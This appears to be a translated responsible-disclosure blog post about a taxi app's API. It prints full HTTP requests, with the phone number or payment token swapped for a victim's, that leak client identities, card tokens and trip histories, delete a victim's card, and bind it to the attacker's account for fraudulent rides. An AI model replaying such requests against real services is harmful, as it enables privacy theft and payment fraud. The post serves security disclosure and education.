How to ride a taxi for someone else's account - vulnerabilities on the example of one service

How to ride a taxi for someone else's account - vulnerabilities on the example of one service


After finding vulnerabilities in mobile banking of a Ukrainian bank ( post ) I wanted to change direction a bit and move from financial services to others.

I came across an advertising article about the updated mobile taxi application, I chose it as my test subject.

Here the tools are the same: PC, Fiddler, Android-smartphone - install the application and monitor its requests.

I didn’t specifically consider requests and responses during registration or login (for example, I didn’t check the possibility of busting a password), but switched to functions available after registration.

Since I didn’t have a history of travel with this service, I didn’t want to conduct a real trip for testing, I needed data from any other clients. I decided to ask friends to have an account in the service. Among the acquaintances there were customers of this taxi, but they called him in the old-fashioned way - with the help of a call.

Then I began to look for phone numbers among publicly available information on the Internet - for example, on the official website and among reviews on social networks ( often dissatisfied customers describe complaints, instead of sending the company in a personal contact list, leave them in the comments for everyone to see ). In the end, I found a couple of phones on one of the job search sites. One of them I substituted in subsequent requests and received information that should not have been available to anyone from the outside.



These were the following problems:

1. We get the client's id, his full name, phone, e-mail and city (the taxi operates in several cities).

When an application loads a profile, the following POST request is made:

  https://sometaxi/mobile3/templateAll.php? PHPSESSID = 4cmdlokh4luo209d88kv6uh7
 Content-Type: application/x-www-form-urlencoded
 charset: utf-8
 User-Agent: User
 Host: sometaxi
 Connection: Keep-Alive
 Accept-Encoding: gzip
 Content-Length: 37

 func = loadMyInfo & amp; phone =% 2B380671234567  

Substituting someone else's phone number into the loadMyInfo & amp; phone function, in response I received the client id, his full name, phone number, e-mail and city:

  [{"id": 14014, "varFirstName": "Sergey", "varLastName": "Nikolayevich", "varSurName": "Ivanov", "varTel": "+ 380671234567  "," varTel2 ":" "," varEmail ":" Sergey_ivan@some.mail "," city ": 1," cityName ":" Kiev "}]  


2) Information about customer payment cards

In the second request I was able to get information about payment cards added by the client to my account:

  https://sometaxi/mobile3/ClientCard.php? PHPSESSID = 4cmdlokh4luo209d88kv6uh7 HTTP/1.1
 Content-Type: application/x-www-form-urlencoded
 charset: utf-8
 User-Agent: User
 Host: sometaxi
 Connection: Keep-Alive
 Accept-Encoding: gzip
 Content-Length: 58

 data = {"Task": "GetClientCardsData", "phone": "+ 380671234567"}  

Answer:

  {"data": [{"masked_card": "512345XXXXXX6789", "rectoken": "ccaffe873a0e88caf49bc65bbef2390329", "card_type": "MASTERCARD", "default": true, "card_name  ":" Salary "}]}  

There were available: a truncated card number, some kind of token, card type, whether the card is installed by default and its name.

3) Retrieving client travel information

The third request - loadHistory - was expectedly provided me with the greatest and most important (as I then thought) amount of information:

  https://sometaxi/mobile3/templateAll.php? PHPSESSID = 4cmdlokh4luo209d88kv6uh7 HTTP/1.one
 Content-Type: application/x-www-form-urlencoded
 charset: utf-8
 User-Agent: User
 Host: sometaxi
 Connection: Keep-Alive
 Accept-Encoding: gzip
 Content-Length: 38
 func = loadHistory & amp; phone =% 2B380671234567  

Part of the response (as previously, the data is changed) :

  {"id": 454875, "From": "Sholom-Aleichem vul., 1", "To": "Kirillivska vul., 13", "When": "10  -01-2019 15:55 "," WhenDate ": 1569942900," Price ":" 160 "," Rate ": 0," preorder ": 0," status ": 1," orderid ":" 11174445 ","  additionalServices ":" [] "," classAvto ": 2," callsignid ": 6426," Car ":" Sidorov Oleksandr Oleksandrovich, Toyota Corolla, White, AA 3733 RA "," city ": 1," cityName ":"  Kyiv "," distance ":" 0.00 "}
 {"id": 408880, "From": "Dreiser Theodor vul., 2", "To": "Sholem Aleichem St., 1", "When": "12/25/2018 03:44", "  WhenDate ": 1545709440," Price ":" 79 "," Rate ": 0," preorder ": 0," status ": 1," orderid ":" 10966503 "," additionalServices ":" [] "," classAvto  ": 2," callsignid ": 4545," Car ":" Petrov Kostyantin Petrovich, Toyota Corolla, White, AA 0415 RS "," city ": null," cityName ": null," distance ":" 0.00 "}/code> 

Here are available: Departure Address, Destination Address, Date and time of travel, Cost, as well as the full name of the taxi driver, the type, color and number of his car.

Total: with a couple of requests, by phone number you can find out everything about the client of this service, including certain details of your personal life (for example, trips to New Year at 2 am from one address to another).

Certainly in the application there were other places where it was possible to get other information. But it was already enough that was found to inform the developers of this, which I immediately did at direct working addresses.

During the month we corresponded, and later I was paid a reward.



And then this post could end, but I decided to check again whether all the errors were fixed.

Yes, two of the three requests did not give me someone else’s information, but one was still valid.

Payment cards are added to this application as well as to any other: first, the customer specifies the full number, expiration date and CVV card on a special page. Then verification is carried out by writing off 1 UAH. and client confirmation of such a 3-D Secure/LookUp operation. This is a normal practice, the full number and other payment details of customer cards in the requests was not.

But since I saw that my added map was deleted with a query like data = {"Task": "DeleteClientCardsData", "rectoken": "bc65bbef2390329ccaffe873a0e88caf49" } , I decided to check: what happens if you specify another client's rectoken.

4) Removing someone else's card by token

I execute a query with a foreign token:

  https://sometaxi/mobile3/ClientCard.php? PHPSESSID = 5n4tim74asve7uefdf3hvd6c3 HTTP/1.1
 Content-Type: application/x-www-form-urlencoded
 charset: utf-8
 User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; SM-G925F)
 Host: sometaxi
 Connection: Keep-Alive
 Accept-Encoding: gzip
 Content-Length: 86

 data = {"Task": "DeleteClientCardsData", "rectoken": "ccaffe873a0e88caf49bc65bbef2390329"}  

And the alien card is gone!

I additionally checked this with the same query # 2 - was it just a visual response {"status": "Success". "Err": ""} , or was the card really deleted from the client.

The card has indeed been deleted.

Immediately I wrote a second letter, apologizing, but I decided to experiment further by creating another account for myself: if the card can be deleted by token, maybe it can be linked to the same token and linked to it?

5) Adding someone else's card by token to your account

Yes, I will not torment - someone else's card could be tied to itself. The main thing is to know rectoken (and you can get it thanks to unclosed problem number 2).

In the POST request, it was possible to indicate any data - any first 6 and last 4 digits of the card number, even 500000 **** 1111 - the card was visually linked with this data, and the token was from another client and valid.

  POST https://sometaxi/mobile3/ClientCard.php? PHPSESSID = 5n4tim74asve7uefdf3hvd6c3 HTTP/1.1
 Content-Type: application/x-www-form-urlencoded
 charset: utf-8
 User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; SM-G925F)
 Host: sometaxi
 Connection: Keep-Alive
 Accept-Encoding: gzip
 Content-Length: 221

 data = {"Task": "ClientCardData", "default": false, "phone": "+ 380991234567", "masked_card": "500000XXXXXX1111", "card_name": "Test", "card_type": "MASTERCARD",  "rectoken": "4f6d228517f2d45690670aba78013a0408"}  

What does this mean: because of the possibility of linking the token to my account, I could travel at someone else’s expense without knowing the full details of the card and without any additional verification - because the card has already been added by the client and successfully verified payment service.

Explanation of the possibility of paying with someone else's card:
To simplify the input of payment details for payments, one-click payment is used based on tokens. The client at the first purchase enters payment data, on subsequent payments to the client it will be enough to press the "pay" button.

A token is a unique number that is assigned to a set of card parameters in the system. This token can be used for direct acceptance payment without entering CVV and without 3-D Secure authentication.

Advanced
Creating a token is a process of successful payment/blocking of funds on a client card with the input of full client details (card number , validity period, CVV). You can create a token like this:

  1. Accept payment (Purchase) - successful payment by the client with the input of the full details of the card. The map is assigned to recToken and passed in response.
  2. Verification of the card/receipt of a token (Verify) - successful verification of the card, blocking funds on the client card. The map is assigned to recToken and passed in response.


Write-off on token - carrying out a write-off/blocking of funds on the card, without the participation of the client, by transferring a token from the merchant.

An example explanation is taken from here .

The developers asked to demonstrate the possibility of transferring a token from their account to mine and ordering a taxi - they needed to make sure that the write-off on the token really happened. Of course, the order passed, the money was written off ( I didn’t sit down in the car ). Later I was paid some more money.



As you can see from this and previous articles, sometimes PHPSESSID, Authorization or SecurityToken is not enough.

If you are a developer, please be aware of what and to whom you give to inquiries. If you are a tester - search and find, but be sure to report this to the developers. Vulnerabilities are full of here and there, so please be a white hacker.

Source text: How to ride a taxi for someone else's account - vulnerabilities on the example of one service